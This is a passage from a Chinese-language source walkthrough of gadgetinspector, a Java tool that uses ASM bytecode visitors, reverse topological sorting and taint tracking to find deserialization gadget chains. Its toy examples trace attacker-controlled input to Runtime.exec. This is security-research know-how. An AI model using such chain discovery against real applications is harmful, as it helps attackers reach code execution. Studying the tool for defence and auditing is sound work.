LOGGER.info("Running method discovery...");
MethodDiscovery methodDiscovery = new MethodDiscovery();
methodDiscovery.discover(classResourceEnumerator);
//保存了类信息、方法信息、继承实现信息
methodDiscovery.save();
}
从上述代码可以看到，先判断了classes.dat、methods.dat、inheritanceMap.dat三个文件是否存在，若不存在则执行MethodDiscovery的实例化，并依次调用其discover、save方法
public void discover(final ClassResourceEnumerator classResourceEnumerator) throws Exception {
for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {
try (InputStream in = classResource.getInputStream()) {
ClassReader cr = new ClassReader(in);
try {
//使用asm的ClassVisitor、MethodVisitor，利用观察模式去扫描所有的class和method并记录
cr.accept(new MethodDiscoveryClassVisitor(), ClassReader.EXPAND_FRAMES);
} catch (Exception e) {
LOGGER.error("Exception analyzing: " + classResource.getName(), e);
}
}
}
}
MethodDiscovery.discover方法中，通过调用classResourceEnumerator.getAllClasses()获取到rt.jar以及程序参数配置的jar、war中所有的class，然后遍历每一个class，接着通过ASM，对其每个类进行观察者模式的visit
跟进MethodDiscoveryClassVisitor，对于ClassVisitor，ASM对其每个方法的调用顺序是这样的：
**visit顺序：**
void visit(int version, int access, String name, String signature, String superName, String[] interfaces)
visit( 类版本 , 修饰符 , 类名 , 泛型信息 , 继承的父类 , 实现的接口)
->
void visitSource(String source, String debug)
->
void visitOuterClass(String owner, String name, String descriptor)
->
void visitAttribute(Attribute attribute)
->
AnnotationVisitor visitAnnotation(String descriptor, boolean visible)
visitAnnotation(注解类型 , 注解是否可以在 JVM 中可见)
->
void visit*()
->
void visitEnd()
->
FieldVisitor visitField(int access, String name, String descriptor, String signature, Object value)
visitField(修饰符 , 字段名 , 字段类型 , 泛型描述 , 默认值)
->
MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions)
visitMethod(修饰符 , 方法名 , 方法签名 , 泛型信息 , 抛出的异常)
那么，跟进这个调用顺序，我们跟进其实现代码：
private class MethodDiscoveryClassVisitor extends ClassVisitor {
private String name;
private String superName;
private String[] interfaces;
boolean isInterface;
private List<ClassReference.Member> members;//类的所有字段
private ClassReference.Handle classHandle;
private MethodDiscoveryClassVisitor() throws SQLException {
super(Opcodes.ASM6);
}
@Override
public void visit ( int version, int access, String name, String signature, String superName, String[]interfaces)
{
this.name = name;
this.superName = superName;
this.interfaces = interfaces;
this.isInterface = (access & Opcodes.ACC_INTERFACE) != 0;
this.members = new ArrayList<>();
this.classHandle = new ClassReference.Handle(name);//类名
super.visit(version, access, name, signature, superName, interfaces);
}
...
}
visit()这个方法，会在类被观察的第一时间执行。可以看到在visit()这个方法执行时，保存了当前观察类的一些信息：
1. this.name：类名
2. this.superName：继承的父类名
3. this.interfaces：实现的接口名
4. this.isInterface：当前类是否接口
5. this.members：类的字段集合
6. this.classHandle：gadgetinspector中对于类名的封装
public FieldVisitor visitField(int access, String name, String desc,
String signature, Object value) {
if ((access & Opcodes.ACC_STATIC) == 0) {
Type type = Type.getType(desc);
String typeName;
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
typeName = type.getInternalName();
} else {
typeName = type.getDescriptor();
}
members.add(new ClassReference.Member(name, access, new ClassReference.Handle(typeName)));
}
return super.visitField(access, name, desc, signature, value);
}
第二步，被观察类若存在多少个field字段，那么visitField()这个方法，就会被调用多少次，每调用一次，就代表一个字段。看实现代码，visitField()方法在被调用时，会通过判断字段的类型去生成typeName类型名称，最后添加到visit()方法中初始化的this.members集合
@Override
public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
boolean isStatic = (access & Opcodes.ACC_STATIC) != 0;
//找到一个方法，添加到缓存
discoveredMethods.add(new MethodReference(
classHandle,//类名
name,
desc,
isStatic));
return super.visitMethod(access, name, desc, signature, exceptions);
}
而被观察类若存在多少个方法，那么visitMethod()这个方法，就会被调用多少次，每调用一次，就代表一个方法，看上述代码，可以清楚的看到，其对方法进行了收集，并缓存在this.discoveredMethods中
@Override
public void visitEnd() {
ClassReference classReference = new ClassReference(
name,
superName,
interfaces,
isInterface,
members.toArray(new ClassReference.Member[members.size()]));//把所有找到的字段封装
//找到一个方法遍历完成后，添加类到缓存
discoveredClasses.add(classReference);
super.visitEnd();
}
而在每一个visit*方法被执行后，最后一个执行的方法就是visitEnd()，在这段代码中，把当前的被观察的类信息缓存到了this.discoveredClasses，其中包括前面visitField阶段收集到的所有字段members
至此，MethodDiscovery.discover方法就执行完毕了，而下一步就是MethodDiscovery.save方法的执行
public void save() throws IOException {
//保存和读取使用Factory实现
//classes.dat数据格式：
//类名(例：java/lang/String) 父类 接口A,接口B,接口C 是否接口 字段1!字段1access!字段1类型!字段2!字段2access!字段1类型
DataLoader.saveData(Paths.get("classes.dat"), new ClassReference.Factory(), discoveredClasses);
//methods.dat数据格式：
//类名 方法名 方法描述 是否静态方法
DataLoader.saveData(Paths.get("methods.dat"), new MethodReference.Factory(), discoveredMethods);
//形成 类名(ClassReference.Handle)->类(ClassReference) 的映射关系
Map<ClassReference.Handle, ClassReference> classMap = new HashMap<>();
for (ClassReference clazz : discoveredClasses) {
classMap.put(clazz.getHandle(), clazz);
}
//保存classes.dat和methods.dat的同时，对所有的class进行递归整合，得到集合{class:[subclass]}，
// class为subclass父类、超类或实现的接口类，保存至inheritanceMap.dat
InheritanceDeriver.derive(classMap).save();
}
通过DataLoader.saveData保存了收集到的discoveredClasses类信息以及discoveredMethods方法信息，对于这些信息的存储格式，通过了ClassReference.Factory()、MethodReference.Factory()进行实现
public static <T> void saveData(Path filePath, DataFactory<T> factory, Collection<T> values) throws IOException {
try (BufferedWriter writer = Files.newWriter(filePath.toFile(), StandardCharsets.UTF_8)) {
for (T value : values) {
final String[] fields = factory.serialize(value);
if (fields == null) {
continue;
}
StringBuilder sb = new StringBuilder();
for (String field : fields) {
if (field == null) {
sb.append("\t");
} else {
sb.append("\t").append(field);
}
}
writer.write(sb.substring(1));
writer.write("\n");
}
}
}
saveData方法中会通过调用factory的serialize对数据进行序列化，然后一行一行的输出
public static class Factory implements DataFactory<ClassReference> {
...
@Override
public String[] serialize(ClassReference obj) {
String interfaces;
if (obj.interfaces.length > 0) {
StringBuilder interfacesSb = new StringBuilder();
for (String iface : obj.interfaces) {
interfacesSb.append(",").append(iface);
}
interfaces = interfacesSb.substring(1);
} else {
interfaces = "";
}
StringBuilder members = new StringBuilder();
for (Member member : obj.members) {
members.append("!").append(member.getName())
.append("!").append(Integer.toString(member.getModifiers()))
.append("!").append(member.getType().getName());
}
return new String[]{
obj.name,
obj.superClass,
interfaces,
Boolean.toString(obj.isInterface),
members.length() == 0 ? null : members.substring(1)
};
}
}
public static class Factory implements DataFactory<MethodReference> {
...
@Override
public String[] serialize(MethodReference obj) {
return new String[] {
obj.classReference.getName(),
obj.name,
obj.desc,
Boolean.toString(obj.isStatic),
};
}
}
对于类信息的存储，最终形成classes.dat文件的数据格式是：
类名(例：java/lang/String) 父类 接口A,接口B,接口C 是否接口 字段1!字段1access!字段1类型!字段2!字段2access!字段1类型
对于方法信息的存储，最终形成methods.dat文件的数据格式是：
类名 方法名 方法描述 是否静态方法
在对类、方法信息存储后，会再进一步利用已得到的类信息，进行类继承、实现关系的整合分析：
//形成 类名(ClassReference.Handle)->类(ClassReference) 的映射关系
Map<ClassReference.Handle, ClassReference> classMap = new HashMap<>();
for (ClassReference clazz : discoveredClasses) {
classMap.put(clazz.getHandle(), clazz);
}
//保存classes.dat和methods.dat的同时，对所有的class进行递归整合，得到集合{class:[subclass]}，
// class为subclass父类、超类或实现的接口类，保存至inheritanceMap.dat
InheritanceDeriver.derive(classMap).save();
核心实现位于InheritanceDeriver.derive方法
public static InheritanceMap derive(Map<ClassReference.Handle, ClassReference> classMap) {
LOGGER.debug("Calculating inheritance for " + (classMap.size()) + " classes...");
Map<ClassReference.Handle, Set<ClassReference.Handle>> implicitInheritance = new HashMap<>();
//遍历所有类
for (ClassReference classReference : classMap.values()) {
if (implicitInheritance.containsKey(classReference.getHandle())) {
throw new IllegalStateException("Already derived implicit classes for " + classReference.getName());
}
Set<ClassReference.Handle> allParents = new HashSet<>();
//获取classReference的所有父类、超类、接口类
getAllParents(classReference, classMap, allParents);
//添加缓存：类名 -> 所有的父类、超类、接口类
implicitInheritance.put(classReference.getHandle(), allParents);
}
//InheritanceMap翻转集合，转换为{class:[subclass]}
return new InheritanceMap(implicitInheritance);
}
/**
* 获取classReference的所有父类、超类、接口类
*
* @param classReference
* @param classMap
* @param allParents
*/
private static void getAllParents(ClassReference classReference, Map<ClassReference.Handle, ClassReference> classMap, Set<ClassReference.Handle> allParents) {
Set<ClassReference.Handle> parents = new HashSet<>();
//把当前classReference类的父类添加到parents
if (classReference.getSuperClass() != null) {
parents.add(new ClassReference.Handle(classReference.getSuperClass()));
}
//把当前classReference类实现的所有接口添加到parents
for (String iface : classReference.getInterfaces()) {
parents.add(new ClassReference.Handle(iface));
}
for (ClassReference.Handle immediateParent : parents) {
//从所有类数据集合中，遍历找出classReference的父类、接口
ClassReference parentClassReference = classMap.get(immediateParent);
if (parentClassReference == null) {
LOGGER.debug("No class id for " + immediateParent.getName());
continue;
}
//继续添加到集合中
allParents.add(parentClassReference.getHandle());
//继续递归查找，直到把classReference类的所有父类、超类、接口类都添加到allParents
getAllParents(parentClassReference, classMap, allParents);
}
}
前面类信息的收集保存，其得到的数据：
类名(例：java/lang/String) 父类 接口A,接口B,接口C 是否接口 字段1!字段1access!字段1类型!字段2!字段2access!字段1类型
通过这些信息，可以清楚的知道每个类继承的父类、实现的接口类，因此，通过遍历每一个类，并且通过递归的方式，从而一路向上查找收集，最终形成了父子、超类间的关系集合：
类名 -> 所有的父类、超类、接口类
并在实例化InheritanceMap返回时，在其构造方法中，对关系集合进行了逆向的整合，最终形成了：
类名 -> 所有的子孙类、实现类
构造方法细节：
public class InheritanceMap {
//子-父关系集合
private final Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap;
//父-子关系集合
private final Map<ClassReference.Handle, Set<ClassReference.Handle>> subClassMap;
public InheritanceMap(Map<ClassReference.Handle, Set<ClassReference.Handle>> inheritanceMap) {
this.inheritanceMap = inheritanceMap;
subClassMap = new HashMap<>();
for (Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> entry : inheritanceMap.entrySet()) {
ClassReference.Handle child = entry.getKey();
for (ClassReference.Handle parent : entry.getValue()) {
subClassMap.computeIfAbsent(parent, k -> new HashSet<>()).add(child);
}
}
}
...
}
最后，对于收集到的继承、实现关系数据，通过调用InheritanceDeriver.save方法，在其内部调用DataLoader.saveData并通过InheritanceMapFactory的序列化方法，对数据进行保存
public void save() throws IOException {
//inheritanceMap.dat数据格式：
//类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ...
DataLoader.saveData(Paths.get("inheritanceMap.dat"), new InheritanceMapFactory(), inheritanceMap.entrySet());
}
private static class InheritanceMapFactory implements DataFactory<Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>>> {
...
@Override
public String[] serialize(Map.Entry<ClassReference.Handle, Set<ClassReference.Handle>> obj) {
final String[] fields = new String[obj.getValue().size()+1];
fields[0] = obj.getKey().getName();
int i = 1;
for (ClassReference.Handle handle : obj.getValue()) {
fields[i++] = handle.getName();
}
return fields;
}
}
最终保存到inheritanceMap.dat文件中的数据格式：
类名 父类或超类或接口类1 父类或超类或接口类2 父类或超类或接口类3 ...
### 0x04 方法入参和返回值污点分析-PassthroughDiscovery
在这一小节中，我主要讲解的是PassthroughDiscovery中的代码，该部分也是整个gadgetinspector中比较核心的部分，我在阅读相关代码的时候，通过查看网络上的一些资料、博文，他们对于大体原理的讲解，都分析得比较详细，其中有一篇<https://paper.seebug.org/1034/，个人觉得讲得非常不错，其中就有关于逆拓扑结构等部分，在阅读本文章的时候，大家可以同时阅读这篇文章，相互结合着看，会有意向不到的效果，但该文章也有部分细节讲得不够透彻，其中就有ASM实现细节部分，而本篇文章，这一部分章节部分原因是为了弥补它的细节不足处而编写，还有就是主要为了阐述我对gadgetinspector的理解。>
在讲这部分代码之前，我想要展示一个代码例子：
public void main(String args) throws IOException {
String cmd = new A().method(args);
Runtime.getRuntime().exec(cmd);
}
class A {
public String method(String param) {
return param;
}
}
从上述代码，我们可以看到类A和方法method，方法method接收到参数后，通过return返回，接着赋值给main方法中的cmd变量，最后Runtime.exec执行命令。
所以，根据上面代码展示，我们只要能控制method这个方法的入参，就能控制其方法的返回值，并控制数据流最终流向Runtime.exec。这其实类似于污点分析，而在PassthroughDiscovery这个类的处理阶段中，最主要就是做这样的一件事，通过不断的分析所有的方法，它们是否会被入参所污染。
还有就是，方法数据流的传递，不仅仅是一层两层，可能在整个gadget
chain中，会牵涉到非常之多的方法，那么，对于所有方法数据流的污点分析，其分析顺序将会是成功与否的前提条件。这边继续讲一个例子吧：
public void main(String args) throws IOException {
String cmd = new A().method1(args);
new B().method2(cmd);
}
class A {
public String method1(String param) {
return param;
}
}
class B {
public void method2(String param) throws IOException {
new C().method3(param);
}
}
class C {
public void method3(String param) throws IOException {
Runtime.getRuntime().exec(param);
}
}
上述代码，可以看到source-slink之间的具体流程，经过数据流的污点分析，我们可以得到结果：
A$method1-1
B$method2-1
C$method3-1
从代码上分析，因为A.method1的入参我们可以控制，并且其返回值间接的也被入参控制，接着赋值给了cmd变量，那么就表示cmd这个变量我们也是可以控制的，接着调用B.method2，cmd变量作为入参，并接着再把其入参作为C.method3的入参，最终走到Runtime.getRuntime().exec(param)，那么，就意味着只要我们控制了A.method1的入参，最终我们可以通过这个数据，最终影响整个source->slink，并最终得到执行exec。
而从上面的代码流程，我们只要搞明白了A类的method1方法、B类的method2方法以及C类的method3方法能被哪个参数污染下去，那么，我们就能确定整个source至slink的污点传递，但是，这里有个问题，在得到B类的method2方法参数的污染结果之前，必须得先把C类的method3方法参数的污染结果得到，而具体怎么做到呢？在gadgetinspector中，通过了DTS，一种逆拓扑顺序的方式，先得到方法执行链的逆序排序的方法集合，然后由此，从最末端进行参数污点分析，倒着回来，也就是，我先确认C类的method3方法参数的污染结果，并存储起来，接着进行分析B类的method2方法的时候，就能根据前面得到的结果，继续分析下去，最后得到B类的method2方法的参数污染结果。
那么，逆拓扑顺序的具体代码实现是如何呢？
我们跟进passthroughDiscovery.discover方法
//加载文件记录的所有方法信息
Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
//加载文件记录的所有类信息
Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();
//加载文件记录的所有类继承、实现关联信息
InheritanceMap inheritanceMap = InheritanceMap.load();
可以看到前三个操作分别是加载前面MethodDiscovery收集到的类、方法、继承实现的信息
接着，调用discoverMethodCalls方法，整理出所有方法，调用者方法caller和被调用者target方法之间映射的集合
//搜索方法间的调用关系，缓存至methodCalls集合，返回 类名->类资源 映射集合
Map<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator);
通过ASM Visitor的方式，使用MethodCallDiscoveryClassVisitor这个ClassVisitor实现类进行方法调用的收集
private Map<String, ClassResourceEnumerator.ClassResource> discoverMethodCalls(final ClassResourceEnumerator classResourceEnumerator) throws IOException {
Map<String, ClassResourceEnumerator.ClassResource> classResourcesByName = new HashMap<>();
for (ClassResourceEnumerator.ClassResource classResource : classResourceEnumerator.getAllClasses()) {
try (InputStream in = classResource.getInputStream()) {
ClassReader cr = new ClassReader(in);
try {
MethodCallDiscoveryClassVisitor visitor = new MethodCallDiscoveryClassVisitor(Opcodes.ASM6);
cr.accept(visitor, ClassReader.EXPAND_FRAMES);
classResourcesByName.put(visitor.getName(), classResource);
} catch (Exception e) {
LOGGER.error("Error analyzing: " + classResource.getName(), e);
}
}
}
return classResourcesByName;
}
MethodCallDiscoveryClassVisitor中的运转流程：
private class MethodCallDiscoveryClassVisitor extends ClassVisitor {
public MethodCallDiscoveryClassVisitor(int api) {
super(api);
}
private String name = null;
@Override
public void visit(int version, int access, String name, String signature,
String superName, String[] interfaces) {
super.visit(version, access, name, signature, superName, interfaces);
if (this.name != null) {
throw new IllegalStateException("ClassVisitor already visited a class!");
}
this.name = name;
}
public String getName() {
return name;
}
@Override
public MethodVisitor visitMethod(int access, String name, String desc,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
//在visit每个method的时候，创建MethodVisitor对method进行观察
MethodCallDiscoveryMethodVisitor modelGeneratorMethodVisitor = new MethodCallDiscoveryMethodVisitor(
api, mv, this.name, name, desc);
return new JSRInlinerAdapter(modelGeneratorMethodVisitor, access, name, desc, signature, exceptions);
}
@Override
public void visitEnd() {
super.visitEnd();
}
}
方法的执行顺序是visit->visitMethod->visitEnd，前面也说过了，ASM对于观察者模式的具体表现。
* visit：在这个方法中，把当前观察的类名赋值到了this.name
* visitMethod：在这个方法中，继续进一步的对被观察类的每一个方法细节进行观察
继续进一步对方法的观察实现类是MethodCallDiscoveryMethodVisitor：
private class MethodCallDiscoveryMethodVisitor extends MethodVisitor {
private final Set<MethodReference.Handle> calledMethods;
/**
*
* @param api
* @param mv
* @param owner 上一步ClassVisitor在visitMethod时，传入的当前class
* @param name visit的方法名
* @param desc visit的方法描述
*/
public MethodCallDiscoveryMethodVisitor(final int api, final MethodVisitor mv,
final String owner, String name, String desc) {
super(api, mv);
//创建calledMethod收集调用到的method，最后形成集合{{sourceClass,sourceMethod}:[{targetClass,targetMethod}]}
this.calledMethods = new HashSet<>();
methodCalls.put(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc), calledMethods);
}
/**
* 方法内，每一个方法调用都会执行该方法
*
* @param opcode 调用操作码：INVOKEVIRTUAL, INVOKESPECIAL, INVOKESTATIC or INVOKEINTERFACE.
* @param owner 被调用的类名
* @param name 被调用的方法
* @param desc 被调用方法的描述
* @param itf 被调用的类是否接口
*/
@Override
public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
calledMethods.add(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
super.visitMethodInsn(opcode, owner, name, desc, itf);
}
}
具体的代码，我这里也做了比较详细的注释，在MethodCallDiscoveryMethodVisitor构造方法执行的时候，会对this.calledMethods集合进行初始化，该集合的主要作用是在被观察方法对其他方法进行调用时（会执行visitMethodInsn方法），用于缓存记录被调用的方法，因此，我们可以看到visitMethodInsn方法中，执行了
calledMethods.add(new MethodReference.Handle(new ClassReference.Handle(owner), name, desc));
并且在构造方法执行的时候，集合calledMethods也会被添加到gadgetinspector.PassthroughDiscovery#methodCalls中，做全局性的收集，因此，最后我们能通过discoverMethodCalls这一个方法，实现对这样一个数据的全量收集：
{{sourceClass,sourceMethod}:[{targetClass,targetMethod}]}
收集哪个class的method调用了哪一个class的method关系集合
接着，在下一步，通过调用
List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls();
完成了对上述收集到的数据：
{{sourceClass,sourceMethod}:[{targetClass,targetMethod}]}
实现逆拓扑的排序，跟进topologicallySortMethodCalls方法
Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences = new HashMap<>();
for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodCalls.entrySet()) {
MethodReference.Handle method = entry.getKey();
outgoingReferences.put(method, new HashSet<>(entry.getValue()));
}
第一步，对methodCalls的数据进行了封装整理，形成了Map<MethodReference.Handle,
Set<MethodReference.Handle>>这样结构的数据
// Topological sort methods
LOGGER.debug("Performing topological sort...");
Set<MethodReference.Handle> dfsStack = new HashSet<>();
Set<MethodReference.Handle> visitedNodes = new HashSet<>();
List<MethodReference.Handle> sortedMethods = new ArrayList<>(outgoingReferences.size());
for (MethodReference.Handle root : outgoingReferences.keySet()) {
//遍历集合中的起始方法，进行递归搜索DFS，通过逆拓扑排序，调用链的最末端排在最前面，
// 这样才能实现入参、返回值、函数调用链之间的污点影响
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, dfsStack, root);
}
LOGGER.debug(String.format("Outgoing references %d, sortedMethods %d", outgoingReferences.size(), sortedMethods.size()));
private static void dfsTsort(Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences,
List<MethodReference.Handle> sortedMethods, Set<MethodReference.Handle> visitedNodes,
Set<MethodReference.Handle> stack, MethodReference.Handle node) {
if (stack.contains(node)) {
return;
}
if (visitedNodes.contains(node)) {
return;
}
//根据起始方法，取出被调用的方法集
Set<MethodReference.Handle> outgoingRefs = outgoingReferences.get(node);
if (outgoingRefs == null) {
return;
}
//入栈，以便于递归不造成类似循环引用的死循环整合
stack.add(node);
for (MethodReference.Handle child : outgoingRefs) {
dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, child);
}
stack.remove(node);
visitedNodes.add(node);//记录已被探索过的方法，用于在上层调用遇到重复方法时可以跳过
sortedMethods.add(node);//递归完成的探索，会添加进来
}
接着，通过遍历每个方法，并调用dfsTsort实现逆拓扑排序，具体细节示意图，我前面推荐的那篇文章画得非常不错，建议此时去看看
1. dfsStack用于在在逆拓扑时候不会形成环
2. visitedNodes在一条调用链出现重合的时候，不会造成重复的排序
3. sortedMethods最终逆拓扑排序出来的结果集合
最终，实现的效果如下：
public void main(String args) throws IOException {
String cmd = new A().method1(args);
new B().method2(cmd);
}
class A {
public String method1(String param) {
return param;
}
}
class B {
public void method2(String param) throws IOException {
new C().method3(param);
}
}
class C {
public void method3(String param) throws IOException {
Runtime.getRuntime().exec(param);
}
}
调用链main->A.method1,main->B.method2->C.method3
排序后的结果：
A.method1
C.method3
B.method2
main
通过这样的一个结果，就如我们前面所讲的，就能在污点分析方法参数的时候，根据这个排序后的集合顺序进行分析，从而在最末端开始进行，在上一层也能通过缓存取到下层方法已经过污点分析的结果，继而继续走下去。
这些，便是逆拓扑排序的实现以及意义。
接着，就到重头戏了，我这篇文章最想要描述的ASM怎么进行参数和返回结果之间的污点分析
/**
* classResourceByName：类资源集合
* classMap：类信息集合
* inheritanceMap：继承、实现关系集合
* sortedMethods：方法集合
* SerializableDecider：决策者
*/
passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods,
config.getSerializableDecider(methodMap, inheritanceMap));
跟进calculatePassthroughDataflow这个方法
首先，会初始化一个集合，用于收集污染结果，key对应方法名，value对应可以污染下去的参数索引集合
final Map<MethodReference.Handle, Set<Integer>> passthroughDataflow = new HashMap<>();
紧接着，遍历被排序过后的方法，并跳过static静态初始化方法，因为静态代码块我们基本上是没办法污染的，其执行的时机在类加载的阶段
//遍历所有方法，然后asm观察所属类，经过前面DFS的排序，调用链最末端的方法在最前面
for (MethodReference.Handle method : sortedMethods) {
//跳过static静态初始化代码
if (method.getName().equals("<clinit>")) {
continue;
}
...
}
然后根据方法信息，获取到所属的类，接着通过ASM对其进行观察
//获取所属类进行观察
ClassResourceEnumerator.ClassResource classResource = classResourceByName.get(method.getClassReference().getName());
try (InputStream inputStream = classResource.getInputStream()) {
ClassReader cr = new ClassReader(inputStream);
try {
PassthroughDataflowClassVisitor cv = new PassthroughDataflowClassVisitor(classMap, inheritanceMap,
passthroughDataflow, serializableDecider, Opcodes.ASM6, method);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
passthroughDataflow.put(method, cv.getReturnTaint());//缓存方法返回值与哪个参数有关系
} catch (Exception e) {
LOGGER.error("Exception analyzing " + method.getClassReference().getName(), e);
}
} catch (IOException e) {
LOGGER.error("Unable to analyze " + method.getClassReference().getName(), e);
}
PassthroughDataflowClassVisitor实现中，重点在于visitMethod方法
//不是目标观察的method需要跳过，上一步得到的method都是有调用关系的method才需要数据流分析
if (!name.equals(methodToVisit.getName()) || !desc.equals(methodToVisit.getDesc())) {
return null;
}
因为在上述构造PassthroughDataflowClassVisitor时，最后一个参数传入的便是需要观察的方法，因此，在ASM每观察到一个方法都会执行visitMethod的时候，通过此处重新判断是否我们关心的方法，只有我们关心的方法，最终才通过下一步构建PassthroughDataflowMethodVisitor对其进行方法级别的观察
//对method进行观察
MethodVisitor mv = super.visitMethod(access, name, desc, signature, exceptions);
passthroughDataflowMethodVisitor = new PassthroughDataflowMethodVisitor(
classMap, inheritanceMap, this.passthroughDataflow, serializableDecider,
api, mv, this.name, access, name, desc, signature, exceptions);
继续跟进PassthroughDataflowMethodVisitor，可以看到，它继承了TaintTrackingMethodVisitor，并有以下几个方法的实现：
1. visitCode：在进入方法的第一时间，ASM会先调用这个方法
2. visitInsn：在方法体重，每一个字节码操作指令的执行，ASM都会调用这个方法
3. visitFieldInsn：对于字段的调用，ASM都会调用这个方法
4. visitMethodInsn：方法体内，一旦调用了其他方法，都会触发这个方法的调用
在展示这四个方法的具体代码前，我还要说一下其父类中的一个方法：visitVarInsn，这个方法，会在方法体内字节码操作变量时，会被调用
为了实现类似污点分析，去分析参数对方法的污染，其模仿了jvm，实现了两个个集合，分别是本地变量表和操作数栈，通过其，实现具体的污点分析，那么具体是怎么进行的呢？
在分析前，我继续贴一个代码例子：
public class Main {
public String main(String args) throws IOException {
String cmd = new A().method1(args);
return new B().method2(cmd);
}
}
class A {
public String method1(String param) {
return param;
}
}
class B {
public String method2(String param) {
return new C().method3(param);
}
}
class C {
public String method3(String param) {
return param;
}
}
在这个例子中，通过逆拓扑排序后得到的列表为：
A.method1
C.method3
B.method2
main
那么，分析也是根据这个顺序进行
* A.method1：
第一步，ASM对A.method1进行观察，也就是PassthroughDataflowMethodVisitor进行观察，那么，在其方法被执行开始的时候，会触发PassthroughDataflowMethodVisitor.visitCode方法的调用，在这一步的代码中，我们可以看到，会对方法是否是static方法等进行判断，接着做了一个操作，就是把入参放到了本地变量表中来，为什么要这样做呢？我们可以想象一下，一个方法内部，能用到的数据要不就是本地变量表的数据，要不就是通过字段调用的数据，那么，在分析调用其他方法，或者对返回值是否会被入参污染时的数据流动，都跟它紧密关联，为什么这样说？根据jvm字节码的操作，在调用方法前，肯定需要对相关参数进行入栈，那入栈的数据从哪里来，必然就是本地变量表或者其他字段。那么在形成这样的一个本地变量表之后，就能标识一个方法内部的数据流动，并最终确定污染结果。
@Override
public void visitCode() {
super.visitCode();
int localIndex = 0;
int argIndex = 0;
if ((this.access & Opcodes.ACC_STATIC) == 0) {
//非静态方法，第一个局部变量应该为对象实例this
//添加到本地变量表集合
setLocalTaint(localIndex, argIndex);
localIndex += 1;
argIndex += 1;
}
for (Type argType : Type.getArgumentTypes(desc)) {
//判断参数类型，得出变量占用空间大小，然后存储
setLocalTaint(localIndex, argIndex);
localIndex += argType.getSize();
argIndex += 1;
}
}
protected void setLocalTaint(int index, T ... possibleValues) {
Set<T> values = new HashSet<T>();
for (T value : possibleValues) {
values.add(value);
}
savedVariableState.localVars.set(index, values);
}
第二步，在入参进入本地变量表之后，会执行return这个代码，并把param这个参数返回，在这个指令执行的时候会触发visitVarInsn方法，那么在进行return操作前，首先，会对其参数param进行入栈，因为param是引用类型，那么操作代码就是Opcodes.ALOAD，可以看到，代码中，从本地变量表获取了变量索引，并放入到操作数栈中来
@Override
public void visitVarInsn(int opcode, int var) {
// Extend local variable state to make sure we include the variable index
for (int i = savedVariableState.localVars.size(); i <= var; i++) {
savedVariableState.localVars.add(new HashSet<T>());
}
Set<T> saved0;
switch(opcode) {
case Opcodes.ILOAD:
case Opcodes.FLOAD:
push();
break;
case Opcodes.LLOAD:
case Opcodes.DLOAD:
push();
push();
break;
case Opcodes.ALOAD:
push(savedVariableState.localVars.get(var));
break;
case Opcodes.ISTORE:
case Opcodes.FSTORE:
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.DSTORE:
case Opcodes.LSTORE:
pop();
pop();
savedVariableState.localVars.set(var, new HashSet<T>());
break;
case Opcodes.ASTORE:
saved0 = pop();
savedVariableState.localVars.set(var, saved0);
break;
case Opcodes.RET:
// No effect on stack
break;
default:
throw new IllegalStateException("Unsupported opcode: " + opcode);
}
super.visitVarInsn(opcode, var);
sanityCheck();
}
第三步，执行return指令，也就触发visitInsn这个方法，因为返回的是引用类型，那么相应的指令就是Opcodes.ARETURN，可以看到，在这个case中，会从栈顶，获取刚刚入栈（第二步中visitVarInsn从本地变量表获取的参数索引）的参数索引，并存储到returnTaint中，因此，即表示A.method1这个方法的调用，参数索引为1的参数param会污染返回值。
@Override
public void visitInsn(int opcode) {
switch(opcode) {
case Opcodes.IRETURN://从当前方法返回int
case Opcodes.FRETURN://从当前方法返回float
case Opcodes.ARETURN://从当前方法返回对象引用
returnTaint.addAll(getStackTaint(0));//栈空间从内存高位到低位分配空间
break;
case Opcodes.LRETURN://从当前方法返回long
case Opcodes.DRETURN://从当前方法返回double
returnTaint.addAll(getStackTaint(1));
break;
case Opcodes.RETURN://从当前方法返回void
break;
default:
break;
}
super.visitInsn(opcode);
}
第四步，经过return之后，该方法的观察也就结束了，那么，回到gadgetinspector.PassthroughDiscovery#calculatePassthroughDataflow中，对于刚刚放到returnTaint污点分析结果，也会在其方法中，缓存到passthroughDataflow
ClassReader cr = new ClassReader(inputStream);
try {
PassthroughDataflowClassVisitor cv = new PassthroughDataflowClassVisitor(classMap, inheritanceMap,
passthroughDataflow, serializableDecider, Opcodes.ASM6, method);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
passthroughDataflow.put(method, cv.getReturnTaint());//缓存方法返回值与哪个参数有关系
} catch (Exception e) {
LOGGER.error("Exception analyzing " + method.getClassReference().getName(), e);
}
* C.method3：该方法和A.method1的污点分析流程是一样的
* B.method2：这个方法和前面连个都不一样，它内部调用了C.method3方法，因此，污点分析时，具体的细节就又不一样了
第一步，在其方法被执行开始的时候，同样会触发PassthroughDataflowMethodVisitor.visitCode方法的调用，在其中，也是做了相应的操作，把入参存到了本地变量表中来
